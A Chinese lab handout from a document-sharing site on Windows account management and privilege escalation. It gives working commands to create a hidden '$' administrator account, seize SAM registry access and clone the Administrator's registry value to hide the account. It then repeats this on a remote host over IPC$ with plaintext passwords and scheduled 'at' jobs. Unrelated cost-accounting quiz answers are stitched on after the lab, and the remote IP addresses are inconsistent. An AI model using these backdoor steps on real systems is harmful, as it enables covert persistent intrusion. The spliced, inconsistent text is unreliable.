账户管理与权限提升.doc

精品文档就在这里
-------------各类专业好文档，值得你下载，教育，管理，论文，制度，方案手册，应有尽有--------------
--------------------------------------------------------------------------------------------------------------------------------------------

账户管理与权限提升
【实验原理】
系统账户管理是系统安全的重要组成部分，攻击者多通过获取或创建账户并提升权限来获取对系统的控制权。
net user命令用于添加或更改用户账号或显示用户账号信息；
可通过net localgroup administration 用户名/add 为用户提升权限；
net share命令用于创建或删除或显示系统共享资源；
net start命令用于启动服务或显示已启动服务的列表；
Telnet服务为Windows系统自带服务。用于远程用户连接本地系统的命令行；可用作后门连接使用；默认开放端口为23。

【实验环境】
本地主机(WindowsXP)、Windows实验台
实验的网络拓扑如下图所示，实验目标需首先确定所在主机实验台IP地址，并根据实验步骤填写正确的IP地址进行实验。

图 3.5.713

【实验步骤】
一、 本地管理账户：
本地管理账户主要通过三种方式进行用户账户查看管理
(1) 通过命令行格式直接进行查看
在命令行直接输入 net user，即可对系统的基本账户进行查看，但是此种方法无法查看用户名为“用户名$”形式的用户。
(2) 通过管理工具图形界面进行查看
打开管理工具中计算机管理，进入本地用户和组，点击用户便可对系统账户进行查看，包括系统账户的用户名权限等信息的查看及修改。
(3) 通过查看注册表信息主用户账户信息进行查看
在运行中输入regedit，进入注册表后打开HKEY_LOCAL_MACHINE\sam\sam，右键点击SAM，选择权限为Administrator用户添加权限。

图 3.5.714

图 3.5.715
关闭注册表，再次在运行中输入regedit，进入注册表后打开HKEY_LOCAL_MACHINE\sam\sam\Domains\account\users,
user下面的Names中各个键的键值与上面的信息是一致的

图 3.5.716
此种查看方式能够对全部的系统账户进行查看，但是不易对账户信息修改，因为各个账户信息均有系统生成十六位进制信息。
二、 本地建立隐藏账户：
(1) 建立账户
点击“开始”→“运行”，输入“CMD”运行“命令提示符”，输入“net user abc$ 123 /add”回车，成功后会显示“命令成功完成”。
接着输入“net localgroup administrators abc$ /add”回车，这样就利用“命令提示符”成功地建立了一个用户名为“abc$”，密码为“123”的简单“隐藏账户”,并且把该隐藏账户提升为管理员权限。
查看隐藏账户的建立是否成功。在“命令提示符”中输入查看系统账户的命令“net user”，回车后会显示当前系统中存在的账户。从返回的结果中可以看到刚才建立的“abc$”这个账户并不存在。接着让进入控制面板的“管理工具”，打开其中的“计算机”，查看其中的“本地用户和组”，在“用户”一项中，刚建立的隐藏账户“abc$”便可以查看到。

图 3.5.717
总结得出的结论是：这种方法只能将账户在“命令提示符”中进行隐藏，在“计算机管理”中对此种账户查看显而易见。
(2) 在“注册表”中进行账户隐藏
以上可以看到用命令提示符隐藏账户的方法缺点很明显，很容易暴露。那么有没有可以在“命令提示符”和“计算机管理”中同时隐藏账户的技术呢？答案是肯定的，而这一切只需要我们在“注册表”中进行一番小小的设置，就可以让系统账户在两者中完全不能查看。
(3) 给管理员注册表操作权限
在注册表中对系统账户的键值进行操作，需要到“HKEY_LOCAL_MACHINE\SAM\SAM”处进行修改，但是当来到该处时，会发现无法展开该处所在的键值。这是因为系统默认对系统管理员给予“写入DAC”和“读取控制”权限，没有给予修改权限，因此不能对“SAM”项下的键值进行查看和修改。不过可以借助系统中另一个“注册表编辑器”给管理员赋予修改权限。
点击“开始”→“运行”，输入“regedt.exe”后回车，随后会弹出另一个“注册表编辑器”，平时使用的“注册表编辑器”不同的是它可以修改系统账户操作注册表时的权限（为便于理解，以下简称regedt.exe）。在regedt.exe中打开“HKEY_LOCAL_MACHINE\SAM\SAM”处，点击“安全”菜单→“权限”，在弹出的“SAM的权限”编辑窗口中选中“administrators”账户，在下方的权限设置处勾选“完全控制”，完成后点击“确定”即可。然后我们切换回“注册表编辑器”，可以发现“HKEY_LOCAL_MACHINE\SAM\SAM”下面的键值都可以展开了。
(4) 将隐藏账户替换为管理员
打开注册表编辑器“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account \Users\Names”，当前系统中所有存在的账户都会在这里显示，当然包括我们的隐藏账户。点击我们的隐藏账户“abc$”，在右边显示的键值中的“类型”一项显示为0x3fa，向上来到“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\”处，可以找到“000003fa”这一项，这两者是相互对应的，隐藏账户“abc$”的所有信息都在“000003fa”这一项中。同样的，我们可以找到“administrator”账户所对应的项为“000001F4”。

图 3.5.718
将“abc$”的键值导出为abc$.reg，同时将“000003Fa”和“000001F4”项的F键值分别导出为user.reg，admin.reg。用“记事本”打开admin.reg，将其中“F”值后面的内容复制下来，替换user.reg中的“F”值内容，完成后保存。接下来进入“命令提示符”，输入“net user abc$ /del”将我们建立的隐藏账户删除。最后，将abc$.reg和user.reg导入注册表，至此，隐藏账户制作完成。

图 3.5.719
三、 远程建立隐藏超级用户账户：
(1) 先与远程主机（实验台）建立连接,命令为:
net use \\192.168.1.235\ipc$ "isesuser（实验台ip）" /user:administrator
(2) 用at命令在远程主机上建立一个用户(如果at服务没有启动，可用netsvc.exe、sc.exe或sc命令来远程启动): at \\192.168.1.235 11:29 net user abc 123 /add。
建立这个加有$符的用户名，是因为加有$符后，命令行下用net user将不显示这个用户，但在帐户管理器却能看到这个用户。
(3) 同样用at命令导出HKEY_LOCAL_MACHINE\sam\sam\Domains\account\users下键值（先需administrator用户对注册表SAM\SAM\的访问权限，在远程主机的运行中输入regedit，进入注册表后打开HKEY_LOCAL_MACHINE\sam\sam，右键点击SAM，选择权限，为Administrator用户添加权限）：
at \\192.168.1.235 11:33 regedit /e abc.reg HKEY_LOCAL_MACHINE\
SAM\SAM\Domains\account\users\/e 是regedit的参数，在HKEY_LOCAL_MACHINE \SAM\SAM\Domains\account\users\这个键的一定要以\结尾。必要的情况下可以用引号将下面引起来：
"c:\winnt\regedit.exe /e abc.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account
\users\"。
(4) 将远程主机上的abc.reg下载到本机上用记事本打开进行编辑命令为：
copy \\192.168.1.235\admin$\system32\abc.reg c:\abc.reg
修改的方法已经介绍过了，这里就不作介绍了。
(5) 再将编辑好的abc.reg拷回远程主机：
copy c:\abc.reg \\192.168.1.235\admin$\abc1.reg
(6) 查看远程主机时间：net time \\13.50.97.238 然后用at命令将用户abc$删除:
at \\192.168.1.235 11:56 c:\windows\system32\net.exe user abc$ /del
(7) 验证abc$是否删除:用net use \\13.50.97.238 /del 断开与远程主机的连接。
net use \\192.168.1.235\ipc$ "123" /user:abc$
用帐户abc$与远程主机连接，不能连接说明已删除。
(8) 再与远程主机建立连接：
net use \\192.168.1.235\ipc$ "isesuser" /user:administrator
再取得远程主机时间，用at命令将拷回远程主机的abc1.reg导入远程主机注册表:
at \\192.168.1.235 11:58 c:\windows\regedit.exe /s abc1.reg
regedit.exe的参数/s是指安静模式。
(9) 再验证abc$是否已建立，方法同上面验证abc$是否被删除一样。
(10) 再验证用户abc$是否有读、写、删的权限，
(11) 通过10可以断定用户abc$具有超级用户权限，因为最初用at命令建立它的时候是一个普通用户，而现在却具有远程读、写、删的权限。

3、通过活动，使学生养成博览群书的好习惯。
B比率分析法和比较分析法不能测算出各因素的影响程度。√
C采用约当产量比例法，分配原材料费用与分配加工费用所用的完工率都是一致的。Ｘ
C采用直接分配法分配辅助生产费用时，应考虑各辅助生产车间之间相互提供产品或劳务的情况。错
C产品的实际生产成本包括废品损失和停工损失。√
C成本报表是对外报告的会计报表。×
C成本分析的首要程序是发现问题、分析原因。×
C成本会计的对象是指成本核算。×
C成本计算的辅助方法一般应与基本方法结合使用而不单独使用。√
C成本计算方法中的最基本的方法是分步法。X
D当车间生产多种产品时，“废品损失”、“停工损失”的借方余额，月末均直接记入该产品的产品成本
中。×
D定额法是为了简化成本计算而采用的一种成本计算方法。×
F“废品损失”账户月末没有余额。√
F废品损失是指在生产过程中发现和入库后发现的不可修复废品的生产成本和可修复废品的修复费用。Ｘ
F分步法的一个重要特点是各步骤之间要进行成本结转。(√)
G各月末在产品数量变化不大的产品，可不计算月末在产品成本。错
G工资费用就是成本项目。(×)
G归集在基本生产车间的制造费用最后均应分配计入产品成本中。对
J计算计时工资费用，应以考勤记录中的工作时间记录为依据。(√)
J简化的分批法就是不计算在产品成本的分批法。(×)
J简化分批法是不分批计算在产品成本的方法。对
J加班加点工资既可能是直接计人费用，又可能是间接计人费用。√
J接生产工艺过程的特点，工业企业的生产可分为大量生产、成批生产和单件生产三种，X
K可修复废品是指技术上可以修复使用的废品。错
K可修复废品是指经过修理可以使用，而不管修复费用在经济上是否合算的废品。Ｘ
P品种法只适用于大量大批的单步骤生产的企业。×
Q企业的制造费用一定要通过“制造费用”科目核算。Ｘ
Q企业职工的医药费、医务部门、职工浴室等部门职工的工资，均应通过“应付工资”科目核算。Ｘ
S生产车间耗用的材料，全部计入“直接材料”成本项目。Ｘ
S适应生产特点和管理要求，采用适当的成本计算方法，是成本核算的基础工作。(×)
W完工产品费用等于月初在产品费用加本月生产费用减月末在产品费用。对
Y“预提费用”可能出现借方余额，其性质属于资产，实际上是待摊费用。对
Y引起资产和负债同时减少的支出是费用性支出。X
Y以应付票据去偿付购买材料的费用，是成本性支出X
Y原材料分工序一次投入与原材料在每道工序陆续投入，其完工率的计算方法是完全一致的。Ｘ
Y运用连环替代法进行分析，即使随意改变各构成因素的替换顺序，各因素的影响结果加总后仍等于指标的总差异，因此更换各因索替换顺序，不会影响分析的结果。(×)
Z在产品品种规格繁多的情况下，应该采用分类法计算产品成本。对
Z直接生产费用就是直接计人费用。X
Z逐步结转分步法也称为计列半成品分步法。√

A按年度计划分配率分配制造费用，“制造费用”账户月末(可能有月末余额/可能有借方余额/可能有贷方余额/可能无月末余额)。
A按年度计划分配率分配制造费用的方法适用于(季节性生产企业)

---------------------------------------------------------精品 文档---------------------------------------------------------------------